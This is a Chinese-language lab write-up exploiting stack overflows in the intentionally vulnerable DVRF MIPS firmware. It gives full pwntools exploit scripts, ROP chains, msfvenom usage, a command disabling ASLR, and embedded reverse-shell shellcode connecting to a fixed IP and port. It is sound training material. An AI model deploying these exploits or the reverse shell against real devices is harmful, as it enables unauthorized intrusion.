前言
Damn Vulnerable Router Firmware (DVRF)是一个帮助了解x86/64以外架构的项目 支持qemu模拟搭建环境
项目地址 https://github.com/praetorian-inc/DVRF
环境配置
git clone https://github.com/praetorian-inc/DVRF.git
|
下载项目后 使用binwalk分解出文件系统
binwalk -Me DVRF_v03.bin 该文件位于Firmware文件夹中
|
所涉及到的漏洞文件位于pwnable文件夹中
stack_bof_01
先来看这个文件 readelf查看架构 发现是mips
尝试使用qemu模拟运行一下
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01
|
需要在程序后面跟上参数 随便带一个aaaa试试
应该是有一个空间存放输入的字符串 加上打印出了字符串 猜测可能存在溢出的情况 使用ida打开程序看看
int __cdecl main(int argc, const char **argv, const char **envp) { __int16 v4; // [sp+18h] [+18h] BYREF char v5[198]; // [sp+1Ah] [+1Ah] BYREF
v4 = 0; memset(v5, 0, sizeof(v5)); if ( argc < 2 ) { puts("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r"); exit(1); } puts("Welcome to the first BoF exercise!\r\n\r"); strcpy((char *)&v4, argv[1]); printf("You entered %s \r\n", (const char *)&v4); puts("Try Again\r"); return 65; }
|
首先分析一下main函数 开始对于argc参数进行了判断 其用来表示程序外部输入参数的个数
初始值为1 即运行程序的指令 如果我们后续再跟入一个参数 即可以跳过if分支
接下来使用strcpy函数将输入的参数复制到v4数组中 没有对写入的字节数进行限制 这里就存在栈溢出
同时还存在dat_shell函数 通过执行该函数 可以直接获取shell
通过对mips架构的程序了解 返回地址存储在栈上 在栈帧结束后 通过$ra寄存器进行跳转
比对strcpy函数和最后的$ra寄存器值 大致可以推测出偏移为0xcc 准备利用动调来测试一下
addiu $v0, $fp, 0xE0+var_C8
lw $ra, 0xE0+var_s4($sp)
|
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
gdb-multiarch ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01
|
可以看到偏移就为0xcc 此时我们在垃圾数据后加上漏洞函数的地址 看是否能够劫持程序执行流
编写exp脚本
from pwn import* context.arch = "mips" context.log_level = "debug" # context.terminal = ['tmux','splitw','-h']
payload = "a"*0xcc + '\x50'+'\\'+'\x09\x40'
io = process("qemu-mipsel-static -L ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/ -g 2222 ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01 "+payload,shell=True) elf = ELF("./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01")
io.interactive()
|
虽然此时已经劫持了返回地址 但是会发现程序卡在了这句
查阅了其他师傅的博客后 发现问题出在了t9这个寄存器上
如图 dal_shell函数中调用的每个函数的参数都由$t9来索引 为了成功调用函数
我们还需要控制t9的值 t9的值默认为当前函数开始的地址
接下来的问题在于如何控制t9寄存器
利用ropper查询一下gadget 漏洞文件中未发现 查看一下libc文件
ropper -f libc.so.0 --search "lw $t9"
|
以sp寄存器为索引的地址相对来说更好控制 可以在栈溢出的时候顺便设置 这里的两句都可以使用
随后关闭aslr 来减小我们做题的难度
sudo su echo 0 > /proc/sys/kernel/randomize_va_space
|
但是在查询libc基址的时候发现 vmmap无法显示出来地址
于是打算利用memset中的got表来获取真实地址
断点打在执行memset函数后
得到memset的真实地址 打开libc文件 查得偏移为0x1BE10
计算得到libc基址
那么就可以得到lw $t9该条gadget的地址了
往对应的位置填入后门函数的起始地址赋值给$t9 成功执行
完整exp:
from pwn import* context.arch = "mips" context.log_level = "debug" # context.terminal = ['tmux','splitw','-h']
libc_base = 0x3fee5000 t9 = 0x00021278+libc_base #0x3ff11ff4
#payload = "a"*0xcc + '\xf4\x1f\xf1\x3f' + '\x50'+'\\'+'\x09\x40' payload = b"a"*0xcc + p32(t9)+b'\x50'+b'\\'+b'\x09\x40'+cyclic(0x3d)+b'\x50'+b'\\'+b'\x09\x40'
io = process(b"qemu-mipsel-static -L ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/ -g 1111 ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01 "+payload,shell=True) elf = ELF("./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01")
io.interactive()
|
stack_bof_02
32位小端序mips架构
主要的一个漏洞仍然是通过strcpy引发的栈溢出 但是该程序没有提供后门函数 并且在描述中提到需要使用shellcode
int __cdecl main(int argc, const char **argv, const char **envp) { __int16 v4; // [sp+18h] [+18h] BYREF char v5[498]; // [sp+1Ah] [+1Ah] BYREF
v4 = 0; memset(v5, 0, sizeof(v5)); if ( argc < 2 ) { puts("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r"); exit(1); } puts("Welcome to the Second BoF exercise! You'll need Shellcode for this! ;)\r\n\r"); strcpy((char *)&v4, argv[1]); printf("You entered %s \r\n", (const char *)&v4); puts("Try Again\r"); return 0; }
|
没有开启任何保护
那么还是老办法 想办法得到垃圾数据的长度 接着往栈上写入shellcode 随后劫持$ra寄存器跳转至shellcode
这里介绍一个工具msfvenom 用其来生成我们所需要的shellcode
sudo snap install metasploit-framework 安装
|
这里指定一下要生成的类型 执行/bin/sh的系统调用 mipsel架构 linux平台 去除\x00字符
msfvenom -p linux/mipsle/exec CMD=/bin/sh --arch mipsle --platform linux -f py --bad-chars "\x00"
|
在查询了其他师傅的博客后 发现都提到了一点 即可以利用nop sled来增加shellcode的泛用性
大概的原理就是通过大量的nop指令堆在shellcode前面 这样程序执行流不管落在哪里都可以往下执行 和做x86题目用到的思路是一样的
不过这里由于我关闭了aslr 所以栈的地址是固定的 就用不上了
使用pwntools自带的shellcraft也可以生成shellcode
顺带一提 如果使用stack_bof_01的exp脚本那种形式 不知道为什么同样的shellcode无法打通
所以这里更换了一下exp 将payload写到文件中 再将文件的内容作为stack_bof_01的参数
from pwn import* from systemd import* context(log_level='debug',arch='mips',endian='little',bits=32) context.terminal = ['tmux','splitw','-h']
shellcode = asm(shellcraft.sh())
stack_addr = 0x407ffbe8 payload = shellcode.ljust(0x1fc,b'a')+p32(stack_addr)
with open("payload","wb+") as f: f.write(payload)
#io = process(b"./qemu-mipsel-static -L . -g 1111 ./pwnable/ShellCode_Required/stack_bof_02 "+payload,shell=True)
#elf = ELF("./pwnable/ShellCode_Required/stack_bof_02")
|
./qemu-mipsel-static -L . ./pwnable/ShellCode_Required/stack_bof_02 "$(cat payload)"
|
socket_bof
32位小端序mips架构
保护全关
接着来分析一下程序的主体逻辑
int __cdecl main(int argc, const char **argv, const char **envp) { uint16_t v3; // $v0 int v4; // $v0 int v5; // $v0 size_t v6; // $v0 int v8; // [sp+24h] [+24h] int fd; // [sp+28h] [+28h] __int16 v10; // [sp+2Ch] [+2Ch] BYREF char v11[498]; // [sp+2Eh] [+2Eh] BYREF __int16 v12; // [sp+220h] [+220h] BYREF char v13[48]; // [sp+222h] [+222h] BYREF int v14; // [sp+254h] [+254h] BYREF struct sockaddr v15; // [sp+258h] [+258h] BYREF
if ( argc < 2 ) { printf("Usage: %s port_number - by b1ack0wl\n", *argv); exit(1); } v10 = 0; memset(v11, 0, sizeof(v11)); v12 = 0; memset(v13, 0, sizeof(v13)); v14 = 1; fd = socket(2, 2, 0); bzero(&v15, 0x10u); v15.sa_family = 2; *&v15.sa_data[2] = htons(0); v3 = atoi(argv[1]); *v15.sa_data = htons(v3); v4 = atoi(argv[1]); printf("Binding to port %i\n", v4); if ( bind(fd, &v15, 0x10u) == -1 ) { v5 = atoi(argv[1]); printf("Error Binding to port %i\n", v5); exit(1); } if ( setsockopt(fd, 0xFFFF, 4, &v14, 4u) < 0 ) { puts("Setsockopt failed :("); close(fd); exit(2); } listen(fd, 2); v8 = accept(fd, 0, 0); bzero(&v10, 0x1F4u); write(v8, "Send Me Bytes:", 0xEu); read(v8, &v10, 0x1F4u); sprintf(&v12, "nom nom nom, you sent me %s", &v10); printf("Sent back - %s", &v10); v6 = strlen(&v12); write(v8, &v12, v6 + 1); shutdown(v8, 2); shutdown(fd, 2); close(v8); close(fd); return 66; }
|
仍然对于argc进行了限制 需要我们提供程序参数
接着建立了一个socket通信 使用AF_INET协议族 即ipv4 套接字类型为数据报套接字 传输协议默认使用ip
随后使用bzero清空了v15数组 该数组用于存储socket信息
我们输入的参数赋值于sa_data成员 同时经过了htons函数 由小端序变为大端序
这里充当的是端口 随后利用bind函数和指定的端口相连
接着调用listen函数等待指定的端口出现客户端连接 这里的程序充当服务端
accept函数用于接受客户端的请求
接受到的数据存放于v10数组
漏洞出现在sprintf函数中 可以造成栈溢出
显然 这里的攻击思路就是劫持程序执行流 使其跳转到我们写入的shellcode
首先还是要获取偏移
./qemu-mipsel-static -L . -g 1234 ./pwnable/ShellCode_Required/socket_bof 9999
|
先启动程序 程序的端口为1234 监听的端口为9999
随后gdb连接1234 断点打在read函数 调用exp脚本发送垃圾数据 断点打在赋值ra寄存器那边 得到偏移为0x33
from pwn import* from systemd import* context(log_level='debug',arch='mips',endian='little',bits=32) context.terminal = ['tmux','splitw','-h']
io = remote("127.0.0.1",9999)
io.recvuntil("Send Me Bytes:") io.sendline(cyclic(0x300))
|
按照原本的想法 直接打shellcode就行了 但是最后无法实现 查阅了其他师傅的博客
问题出在mips架构的缓存不一致性 这一概念该如何理解
对于cpu的cache缓存一定不陌生 L1 cache为了处理指令和数据 指令是只读 而数据是读写 为了提高读写效率 将其分为了两个cache I-cache(指令缓存) D-cache(数据缓存)
所以这里需要将我们写入的shellcode从D-cache刷新到I-cache
理解到这里 产生了一个疑问 为什么在stack_bof_02中 我们写入的shellcode不需要考虑到该问题 即可生效
对比二者的程序逻辑 最明显的不同在于stack_bof_02从指令行中读取参数 socket_bof利用socket来获取数据
猜测通过socket传输的数据存储在了D-cache中
那么如何把数据从D-cache刷新到I-cache 利用sleep函数
给予一定的时间 来让D-cache和I-cache二者同步
所以接下来的目标就是寻找gadget 执行sleep(1)后跳转到shellcode
这里学习使用一个新的工具 ida的插件mipsrop
具体的安装和使用自行搜索教程 这里提一个我遇到的报错
在edit中plugins的MIPS ROP Finder可以正常运行 但是在执行mipsrop.find(“li $a0,1”)时报错
参照该教程 成功解决问题https://blog.csdn.net/snowleopard_bin/article/details/115376333
执行mipsrop.find(“li $a0,1”)用来控制$a0寄存器 作为sleep函数的参数
这里选用0x00018AA8这一条gadget
执行完li $a0,1后 跳转的地址依赖于$s3寄存器
接下来需要获取控制$s3寄存器的gadget
有很多条 这里选用0x7730处的gadget
在我们执行完sleep函数后 还需要跳转到shellcode处执行 那么这里就需要错开寄存器
使用$s2或者$s1寄存器来跳转
可以使用mipsrop.tail()函数 该函数可以查询所有函数尾部调用的gadget
选择0x20F1C的gadget 通过$s2来执行shellcode
那么总结一下gadget的执行顺序 首先执行0x7730的gadget 控制$s3为sleep函数的地址 $s2为0x00018AA8这条gadget的地址
再控制$ra为0x20F1C的gadget 这条gadget控制$ra为shellcode的地址
编写如下poc
from pwn import* from systemd import* context(log_level='debug',arch='mips',endian='little',bits=32) context.terminal = ['tmux','splitw','-h']
io = remote("127.0.0.1",7777)
io.recvuntil("Send Me Bytes:")
buf = b"" buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21" buf += b"\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24" buf += b"\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f" buf += b"\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf" buf += b"\x11\x5c\x0e\x3c\x11\x5c\xce\x35\xe4\xff\xae\xaf" buf += b"\xf7\x83\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf" buf += b"\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01" buf += b"\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24" buf += b"\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02" buf += b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24" buf += b"\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28" buf += b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf" buf += b"\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf" buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf" buf += b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24" buf += b"\x0c\x01\x01\x01"
shellcode_addr = 0x408000a0 libc_addr = 0x3fee5000 gadget1 = libc_addr + 0x7730 gadget2 = libc_addr + 0x00018AA8 gadget3 = libc_addr + 0x20F1C sleep_addr = libc_addr + 0x2F2B0 payload = cyclic(0x33)+p32(gadget1) payload += cyclic(0x20)+p32(gadget2)+p32(sleep_addr)+p32(gadget3) payload += cyclic(0x24)+p32(gadget2)+p32(shellcode_addr)+buf
io.sendline(payload)
io.interactive()
|
执行发现程序卡在sleep函数执行中的这里
问题出在$s2寄存器上
本句汇编的作用为 将$s0的值赋值给$s2+0x64处的地址
而此时对应的地址权限为不可写
同时 在libc文件中定位到一段gadget
这里对于$s2寄存器减去了大概0x4000多字节 所以我们要做的就是在执行gadget2的时候 把$s2寄存器替换为一个可读地址加上0x4000字节
更改后的payload
payload = cyclic(0x33)+p32(gadget1) payload += cyclic(0x20)+p32(gadget2)+p32(sleep_addr)+p32(gadget3) payload += cyclic(0x24)+p32(shellcode_addr+0x4000)+cyclic(0x4)+p32(shellcode_addr)+buf
|
此时已经可以成功执行sleep函数 但是新的问题出现了 没有按照预期的执行完sleep函数后根据$ra寄存器中的shellcode地址进行跳转 分析了sleep函数的汇编后
发现问题出在sleep函数在结束的时候 还会对$ra寄存器重新赋值
所以需要根据偏移重新布置栈
这里解释一下为什么我的shellcode前面要有那么多额外的偏移 这是因为我shellcode如果不增加偏移的话 地址为0x408000a4 这其中有\x00字节 会导致后面的字节都无法传输 所以将其更改为\x01
完整exp:
from pwn import* from systemd import* context(log_level='debug',arch='mips',endian='little',bits=32) context.terminal = ['tmux','splitw','-h']
io = remote("127.0.0.1",2222)
io.recvuntil("Send Me Bytes:")
buf = b"" buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21" buf += b"\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24" buf += b"\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f" buf += b"\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf" buf += b"\x11\x5c\x0e\x3c\x11\x5c\xce\x35\xe4\xff\xae\xaf" buf += b"\xf7\x83\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf" buf += b"\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01" buf += b"\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24" buf += b"\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02" buf += b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24" buf += b"\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28" buf += b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf" buf += b"\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf" buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf" buf += b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24" buf += b"\x0c\x01\x01\x01"
shellcode_addr = 0x408001a4 libc_addr = 0x3fee5000 gadget1 = libc_addr + 0x7730 gadget2 = libc_addr + 0x00018AA8 gadget3 = libc_addr + 0x20F1C sleep_addr = libc_addr + 0x2F2B0 payload = cyclic(0x33)+p32(gadget1) payload += cyclic(0x20)+p32(gadget2)+p32(sleep_addr)+p32(gadget3) payload += cyclic(0x24)+p32(shellcode_addr+0x4000)+p32(shellcode_addr)+cyclic(0x30)+p32(shellcode_addr)+cyclic(0x100-0x30)+buf
io.sendline(payload)
io.interactive()
|